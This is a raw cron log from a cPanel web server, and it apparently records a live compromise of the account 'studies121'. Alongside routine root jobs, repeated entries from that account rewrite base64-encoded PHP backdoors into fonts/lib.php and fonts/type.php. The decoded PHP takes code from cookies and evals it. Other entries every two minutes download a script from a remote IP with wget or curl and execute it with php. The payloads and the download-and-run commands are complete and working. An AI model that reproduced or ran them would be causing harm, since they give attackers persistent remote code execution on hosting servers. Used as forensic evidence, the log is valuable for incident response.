Sep 12 13:34:01 ip-184-168-122-23 CROND[1969]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 13:34:01 ip-184-168-122-23 CROND[1970]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 13:35:01 ip-184-168-122-23 CROND[2080]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 13:35:01 ip-184-168-122-23 CROND[2084]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 13:35:01 ip-184-168-122-23 CROND[2085]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 13:35:01 ip-184-168-122-23 CROND[2083]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 12 13:35:01 ip-184-168-122-23 CROND[2082]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 13:35:01 ip-184-168-122-23 CROND[2086]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 13:35:01 ip-184-168-122-23 CROND[2087]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 13:35:01 ip-184-168-122-23 CROND[2088]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 13:36:01 ip-184-168-122-23 CROND[2296]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 13:36:01 ip-184-168-122-23 CROND[2297]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 13:36:01 ip-184-168-122-23 CROND[2298]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 13:36:01 ip-184-168-122-23 CROND[2300]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 13:36:01 ip-184-168-122-23 CROND[2301]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 13:37:01 ip-184-168-122-23 CROND[2408]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 13:37:01 ip-184-168-122-23 CROND[2411]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 13:37:01 ip-184-168-122-23 CROND[2410]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 13:37:01 ip-184-168-122-23 CROND[2412]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 13:38:01 ip-184-168-122-23 CROND[2537]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 13:38:01 ip-184-168-122-23 CROND[2541]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 13:38:01 ip-184-168-122-23 CROND[2539]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 13:38:01 ip-184-168-122-23 CROND[2540]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 13:38:01 ip-184-168-122-23 CROND[2542]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 13:39:01 ip-184-168-122-23 CROND[2649]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 13:39:01 ip-184-168-122-23 CROND[2648]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 13:39:01 ip-184-168-122-23 CROND[2651]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 12 13:39:01 ip-184-168-122-23 CROND[2652]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 13:39:01 ip-184-168-122-23 CROND[2650]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 13:40:01 ip-184-168-122-23 CROND[2752]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 13:40:01 ip-184-168-122-23 CROND[2754]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 13:40:01 ip-184-168-122-23 CROND[2757]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 13:40:01 ip-184-168-122-23 CROND[2760]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 13:40:01 ip-184-168-122-23 CROND[2761]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 13:40:01 ip-184-168-122-23 CROND[2766]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 13:40:01 ip-184-168-122-23 CROND[2769]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 13:40:01 ip-184-168-122-23 CROND[2768]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 13:41:01 ip-184-168-122-23 CROND[2956]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 13:41:01 ip-184-168-122-23 CROND[2959]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 13:41:01 ip-184-168-122-23 CROND[2957]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 13:41:01 ip-184-168-122-23 CROND[2958]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 13:42:01 ip-184-168-122-23 CROND[3061]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 13:42:01 ip-184-168-122-23 CROND[3062]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 13:42:01 ip-184-168-122-23 CROND[3064]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 13:42:01 ip-184-168-122-23 CROND[3065]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 13:42:01 ip-184-168-122-23 CROND[3066]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 13:43:01 ip-184-168-122-23 CROND[3188]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 13:43:01 ip-184-168-122-23 CROND[3189]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 13:43:01 ip-184-168-122-23 CROND[3190]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 13:43:01 ip-184-168-122-23 CROND[3191]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 13:44:01 ip-184-168-122-23 CROND[3306]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 13:44:01 ip-184-168-122-23 CROND[3310]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 13:44:01 ip-184-168-122-23 CROND[3309]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 13:44:01 ip-184-168-122-23 CROND[3308]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 13:44:01 ip-184-168-122-23 CROND[3311]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 13:45:01 ip-184-168-122-23 CROND[3438]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 13:45:01 ip-184-168-122-23 CROND[3440]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 13:45:01 ip-184-168-122-23 CROND[3441]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 13:45:01 ip-184-168-122-23 CROND[3446]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 13:45:01 ip-184-168-122-23 CROND[3442]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 13:45:01 ip-184-168-122-23 CROND[3444]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 13:46:01 ip-184-168-122-23 CROND[3631]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 13:46:02 ip-184-168-122-23 CROND[3633]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 13:46:02 ip-184-168-122-23 CROND[3635]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 13:46:02 ip-184-168-122-23 CROND[3634]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 13:46:02 ip-184-168-122-23 CROND[3639]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
